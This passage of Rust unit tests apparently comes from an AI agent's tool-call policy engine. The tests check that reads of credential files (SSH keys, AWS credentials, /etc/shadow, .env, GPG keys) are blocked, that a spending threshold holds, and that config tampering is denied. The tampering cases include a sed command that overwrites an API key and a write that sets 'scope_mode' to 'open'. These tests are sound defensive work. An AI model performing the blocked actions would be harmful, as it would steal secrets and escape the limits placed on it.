            "extra_protected_paths should be merged and enforced"
        );
    }

    #[test]
    fn path_protection_expanded_defaults_block_ssh_keys() {
        let cfg = roboticus_core::config::FilesystemSecurityConfig::default();
        let rule = PathProtectionRule::from_config(&cfg);
        let ctx = PolicyContext {
            authority: InputAuthority::Creator,
            survival_tier: SurvivalTier::Normal,
            claim: None,
        };

        for path in [
            "/home/user/.ssh/id_rsa",
            "config/.aws/credentials",
            "/etc/shadow",
            "app/.env.production",
            ".gnupg/private-keys-v1.d/key",
            "deploy/id_ed25519",
            ".kube/config",
            "db/data.sqlite",
        ] {
            let req = ToolCallRequest {
                tool_name: "read_file".into(),
                params: serde_json::json!({ "path": path }),
                risk_level: RiskLevel::Safe,
            };
            assert!(
                !rule.evaluate(&req, &ctx).is_allowed(),
                "default protected paths should block '{}'",
                path
            );
        }
    }

    #[test]
    fn path_protection_tool_allowed_paths_whitelist() {
        let (vault_base, vault_path, other_path) = if cfg!(windows) {
            (
                r"C:\Users\jmachen\Desktop\My Vault",
                r"C:\Users\jmachen\Desktop\My Vault\notes.md",
                r"C:\Users\jmachen\Documents\secret.txt",
            )
        } else {
            (
                "/Users/jmachen/Desktop/My Vault",
                "/Users/jmachen/Desktop/My Vault/notes.md",
                "/Users/jmachen/Documents/secret.txt",
            )
        };
        let rule = PathProtectionRule {
            protected: vec![],
            workspace_only: true,
            tool_allowed_paths: vec![std::path::PathBuf::from(vault_base)],
        };
        let ctx = PolicyContext {
            authority: InputAuthority::Creator,
            survival_tier: SurvivalTier::Normal,
            claim: None,
        };

        // Whitelisted path — should be allowed
        let vault = ToolCallRequest {
            tool_name: "read_file".into(),
            params: serde_json::json!({ "path": vault_path }),
            risk_level: RiskLevel::Safe,
        };
        assert!(
            rule.evaluate(&vault, &ctx).is_allowed(),
            "tool_allowed_paths should whitelist configured paths"
        );

        // Non-whitelisted absolute path — still blocked
        let other = ToolCallRequest {
            tool_name: "read_file".into(),
            params: serde_json::json!({ "path": other_path }),
            risk_level: RiskLevel::Safe,
        };
        assert!(
            !rule.evaluate(&other, &ctx).is_allowed(),
            "absolute paths not in tool_allowed_paths should still be blocked"
        );

        // /tmp still allowed
        let tmp = ToolCallRequest {
            tool_name: "write_file".into(),
            params: serde_json::json!({ "path": "/tmp/output.txt" }),
            risk_level: RiskLevel::Safe,
        };
        assert!(
            rule.evaluate(&tmp, &ctx).is_allowed(),
            "/tmp always allowed regardless of whitelist"
        );
    }

    #[test]
    fn path_protection_from_config_includes_tool_allowed_paths() {
        let cfg = roboticus_core::config::FilesystemSecurityConfig {
            workspace_only: true,
            protected_paths: vec![],
            extra_protected_paths: vec![],
            script_fs_confinement: true,
            script_allowed_paths: vec![],
            tool_allowed_paths: vec![std::path::PathBuf::from("/opt/shared")],
            sandbox_required: false,
        };
        let rule = PathProtectionRule::from_config(&cfg);
        assert_eq!(rule.tool_allowed_paths.len(), 1);
        assert_eq!(
            rule.tool_allowed_paths[0],
            std::path::PathBuf::from("/opt/shared")
        );
    }

    #[test]
    fn financial_rule_blocks_float_amount() {
        // L-NEW-1: a float "amount" must not bypass the threshold
        let rule = FinancialRule::new(100.0);
        let ctx = PolicyContext {
            authority: InputAuthority::Creator,
            survival_tier: SurvivalTier::Normal,
            claim: None,
        };

        let float_high = ToolCallRequest {
            tool_name: "transfer".into(),
            params: serde_json::json!({ "amount": 150.50 }),
            risk_level: RiskLevel::Safe,
        };
        assert!(
            !rule.evaluate(&float_high, &ctx).is_allowed(),
            "float amount $150.50 should be blocked by $100 threshold"
        );

        let float_low = ToolCallRequest {
            tool_name: "send".into(),
            params: serde_json::json!({ "amount": 50.0 }),
            risk_level: RiskLevel::Safe,
        };
        assert!(
            rule.evaluate(&float_low, &ctx).is_allowed(),
            "float amount $50.00 should be allowed under $100 threshold"
        );

        // Integer "amount" is interpreted as dollars, same as float.
        let int_high = ToolCallRequest {
            tool_name: "transfer".into(),
            params: serde_json::json!({ "amount": 150 }),
            risk_level: RiskLevel::Safe,
        };
        assert!(
            !rule.evaluate(&int_high, &ctx).is_allowed(),
            "integer amount $150 should be blocked by $100 threshold"
        );
    }

    // ── ConfigProtectionRule ─────────────────────────────────────────

    #[test]
    fn config_protection_blocks_scope_mode_in_config_file() {
        let rule = ConfigProtectionRule::default();
        let ctx = PolicyContext {
            authority: InputAuthority::Creator,
            survival_tier: SurvivalTier::Normal,
            claim: None,
        };
        let req = ToolCallRequest {
            tool_name: "write_file".into(),
            params: serde_json::json!({
                "path": "/home/user/.roboticus/roboticus.toml",
                "content": "scope_mode = \"open\""
            }),
            risk_level: RiskLevel::Dangerous,
        };
        let decision = rule.evaluate(&req, &ctx);
        assert!(!decision.is_allowed());
        if let PolicyDecision::Deny { rule: r, reason } = &decision {
            assert_eq!(r, "config_protection");
            assert!(reason.contains("scope_mode"));
        }
    }

    #[test]
    fn config_protection_allows_non_config_file() {
        let rule = ConfigProtectionRule::default();
        let ctx = PolicyContext {
            authority: InputAuthority::Creator,
            survival_tier: SurvivalTier::Normal,
            claim: None,
        };
        let req = ToolCallRequest {
            tool_name: "write_file".into(),
            params: serde_json::json!({
                "path": "/tmp/notes.txt",
                "content": "scope_mode = \"open\""
            }),
            risk_level: RiskLevel::Safe,
        };
        assert!(rule.evaluate(&req, &ctx).is_allowed());
    }

    #[test]
    fn config_protection_blocks_bash_modifying_api_key() {
        let rule = ConfigProtectionRule::default();
        let ctx = PolicyContext {
            authority: InputAuthority::Creator,
            survival_tier: SurvivalTier::Normal,
            claim: None,
        };
        let req = ToolCallRequest {
            tool_name: "bash".into(),
            params: serde_json::json!({
                "command": "sed -i 's/api_key.*/api_key = \"stolen\"/' roboticus.toml"
            }),
            risk_level: RiskLevel::Dangerous,
        };
        assert!(!rule.evaluate(&req, &ctx).is_allowed());
    }

    #[test]
    fn config_protection_allows_non_write_tools() {
        let rule = ConfigProtectionRule::default();
        let ctx = PolicyContext {
            authority: InputAuthority::Creator,
            survival_tier: SurvivalTier::Normal,
            claim: None,
        };
        let req = ToolCallRequest {
            tool_name: "read_file".into(),
            params: serde_json::json!({
                "path": "roboticus.toml"
            }),
            risk_level: RiskLevel::Safe,
        };
        assert!(rule.evaluate(&req, &ctx).is_allowed());
    }

    #[test]
    fn config_protection_allows_safe_config_edits() {
        let rule = ConfigProtectionRule::default();
        let ctx = PolicyContext {
            authority: InputAuthority::Creator,
            survival_tier: SurvivalTier::Normal,
            claim: None,
        };
        let req = ToolCallRequest {
            tool_name: "write_file".into(),
            params: serde_json::json!({
                "path": "roboticus.toml",
                "content": "log_level = \"debug\""
            }),
            risk_level: RiskLevel::Dangerous,
        };
        assert!(
            rule.evaluate(&req, &ctx).is_allowed(),
            "non-sensitive config fields should be allowed"
        );
    }
}